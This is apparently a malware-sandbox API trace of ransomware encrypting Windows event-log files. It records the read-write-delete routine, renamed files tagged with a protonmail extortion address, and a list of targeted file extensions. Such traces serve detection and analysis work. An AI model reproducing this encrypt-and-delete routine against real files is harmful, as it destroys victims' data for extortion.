	[0073.391] ReadFile (in: hFile=0x384, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.391] WriteFile (in: hFile=0x364, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x154, lpOverlapped=0x0) returned 1
	[0073.391] SetEndOfFile (hFile=0x364) returned 1
	[0073.391] CloseHandle (hObject=0x364) returned 1
	[0073.393] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.393] SetEndOfFile (hFile=0x384) returned 1
	[0073.395] CloseHandle (hObject=0x384) returned 1
	[0073.395] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0073.395] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1
	[0073.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.395] lstrlenW (lpString=".doc") returned 4
	[0073.395] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.395] lstrlenW (lpString=".docx") returned 5
	[0073.395] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.395] lstrlenW (lpString=".pdf") returned 4
	[0073.396] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.396] lstrlenW (lpString=".xls") returned 4
	[0073.396] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.396] lstrlenW (lpString=".xlsx") returned 5
	[0073.396] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.396] lstrlenW (lpString=".ppt") returned 4
	[0073.396] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.396] lstrlenW (lpString=".zip") returned 4
	[0073.396] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.396] lstrlenW (lpString=".rar") returned 4
	[0073.396] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.396] lstrlenW (lpString=".bz2") returned 4
	[0073.396] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.396] lstrlenW (lpString=".7z") returned 3
	[0073.396] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.396] lstrlenW (lpString=".dbf") returned 4
	[0073.396] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.396] lstrlenW (lpString=".1cd") returned 4
	[0073.396] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.396] lstrlenW (lpString=".jpg") returned 4
	[0073.396] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.396] lstrlenW (lpString=".doc") returned 4
	[0073.396] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.396] lstrlenW (lpString=".docx") returned 5
	[0073.396] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.396] lstrlenW (lpString=".pdf") returned 4
	[0073.397] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.397] lstrlenW (lpString=".xls") returned 4
	[0073.397] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.397] lstrlenW (lpString=".xlsx") returned 5
	[0073.397] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.397] lstrlenW (lpString=".ppt") returned 4
	[0073.397] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.397] lstrlenW (lpString=".zip") returned 4
	[0073.397] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.397] lstrlenW (lpString=".rar") returned 4
	[0073.397] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.397] lstrlenW (lpString=".bz2") returned 4
	[0073.397] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.397] lstrlenW (lpString=".7z") returned 3
	[0073.397] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.397] lstrlenW (lpString=".dbf") returned 4
	[0073.397] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.397] lstrlenW (lpString=".1cd") returned 4
	[0073.397] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0073.397] lstrlenW (lpString=".jpg") returned 4
	[0073.397] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.397] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0073.397] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49
	[0073.398] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0073.398] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0073.398] CloseHandle (hObject=0x384) returned 1
	[0073.398] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20
	[0073.398] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.398] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0073.398] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.398] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.398] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0073.399] GetLastError () returned 0x0
	[0073.399] ReadFile (in: hFile=0x384, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0073.401] WriteFile (in: hFile=0x364, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0073.403] ReadFile (in: hFile=0x384, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.403] WriteFile (in: hFile=0x364, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x136, lpOverlapped=0x0) returned 1
	[0073.403] SetEndOfFile (hFile=0x364) returned 1
	[0073.403] CloseHandle (hObject=0x364) returned 1
	[0073.405] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.405] SetEndOfFile (hFile=0x384) returned 1
	[0073.406] CloseHandle (hObject=0x384) returned 1
	[0073.407] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0073.407] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1
	[0073.407] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.407] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.407] lstrlenW (lpString=".doc") returned 4
	[0073.407] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.407] lstrlenW (lpString=".docx") returned 5
	[0073.407] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.407] lstrlenW (lpString=".pdf") returned 4
	[0073.407] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.407] lstrlenW (lpString=".xls") returned 4
	[0073.407] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.407] lstrlenW (lpString=".xlsx") returned 5
	[0073.407] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.407] lstrlenW (lpString=".ppt") returned 4
	[0073.407] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.407] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.407] lstrlenW (lpString=".zip") returned 4
	[0073.407] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.408] lstrlenW (lpString=".rar") returned 4
	[0073.408] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.408] lstrlenW (lpString=".bz2") returned 4
	[0073.408] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.408] lstrlenW (lpString=".7z") returned 3
	[0073.408] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.408] lstrlenW (lpString=".dbf") returned 4
	[0073.408] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.408] lstrlenW (lpString=".1cd") returned 4
	[0073.408] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.408] lstrlenW (lpString=".jpg") returned 4
	[0073.408] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.408] lstrlenW (lpString=".doc") returned 4
	[0073.408] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.408] lstrlenW (lpString=".docx") returned 5
	[0073.408] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.408] lstrlenW (lpString=".pdf") returned 4
	[0073.408] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.408] lstrlenW (lpString=".xls") returned 4
	[0073.408] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.408] lstrlenW (lpString=".xlsx") returned 5
	[0073.408] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.408] lstrlenW (lpString=".ppt") returned 4
	[0073.408] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.408] lstrlenW (lpString=".zip") returned 4
	[0073.408] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.409] lstrlenW (lpString=".rar") returned 4
	[0073.409] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.409] lstrlenW (lpString=".bz2") returned 4
	[0073.409] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.409] lstrlenW (lpString=".7z") returned 3
	[0073.409] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.409] lstrlenW (lpString=".dbf") returned 4
	[0073.409] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.409] lstrlenW (lpString=".1cd") returned 4
	[0073.409] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0073.409] lstrlenW (lpString=".jpg") returned 4
	[0073.409] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.409] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0073.409] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48
	[0073.409] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0073.410] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0073.410] CloseHandle (hObject=0x384) returned 1
	[0073.410] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20
	[0073.410] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.410] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0073.410] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.410] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.410] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0073.411] GetLastError () returned 0x0
	[0073.411] ReadFile (in: hFile=0x384, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0073.413] WriteFile (in: hFile=0x364, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0073.791] ReadFile (in: hFile=0x384, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.791] WriteFile (in: hFile=0x364, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x134, lpOverlapped=0x0) returned 1
	[0073.791] SetEndOfFile (hFile=0x364) returned 1
	[0074.006] CloseHandle (hObject=0x364) returned 1
	[0074.027] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.038] SetEndOfFile (hFile=0x384) returned 1
	[0074.681] CloseHandle (hObject=0x384) returned 1
	[0074.688] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.689] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1
	[0074.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.807] lstrlenW (lpString=".doc") returned 4
	[0074.807] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.807] lstrlenW (lpString=".docx") returned 5
	[0074.807] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.807] lstrlenW (lpString=".pdf") returned 4
	[0074.807] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.807] lstrlenW (lpString=".xls") returned 4
	[0074.807] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.807] lstrlenW (lpString=".xlsx") returned 5
	[0074.808] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.808] lstrlenW (lpString=".ppt") returned 4
	[0074.808] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.808] lstrlenW (lpString=".zip") returned 4
	[0074.808] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.808] lstrlenW (lpString=".rar") returned 4
	[0074.808] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.808] lstrlenW (lpString=".bz2") returned 4
	[0074.808] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.808] lstrlenW (lpString=".7z") returned 3
	[0074.808] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.808] lstrlenW (lpString=".dbf") returned 4
	[0074.808] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.809] lstrlenW (lpString=".1cd") returned 4
	[0074.809] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.809] lstrlenW (lpString=".jpg") returned 4
	[0074.809] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.809] lstrlenW (lpString=".doc") returned 4
	[0074.809] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.809] lstrlenW (lpString=".docx") returned 5
	[0074.809] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.809] lstrlenW (lpString=".pdf") returned 4
	[0074.809] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.809] lstrlenW (lpString=".xls") returned 4
	[0074.809] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.809] lstrlenW (lpString=".xlsx") returned 5
	[0074.809] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.809] lstrlenW (lpString=".ppt") returned 4
	[0074.809] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.809] lstrlenW (lpString=".zip") returned 4
	[0074.809] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.809] lstrlenW (lpString=".rar") returned 4
	[0074.809] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.809] lstrlenW (lpString=".bz2") returned 4
	[0074.809] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.810] lstrlenW (lpString=".7z") returned 3
	[0074.810] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.810] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.810] lstrlenW (lpString=".dbf") returned 4
	[0074.810] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.810] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.810] lstrlenW (lpString=".1cd") returned 4
	[0074.810] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.810] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0074.810] lstrlenW (lpString=".jpg") returned 4
	[0074.810] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.810] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.810] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49
	[0074.810] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0074.810] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0074.811] CloseHandle (hObject=0x2c0) returned 1
	[0074.811] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20
	[0074.811] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.811] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0074.811] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.811] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.811] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0074.814] GetLastError () returned 0x0
	[0074.814] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0074.817] WriteFile (in: hFile=0x390, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0074.819] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.819] WriteFile (in: hFile=0x390, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x136, lpOverlapped=0x0) returned 1
	[0074.820] SetEndOfFile (hFile=0x390) returned 1
	[0074.820] CloseHandle (hObject=0x390) returned 1
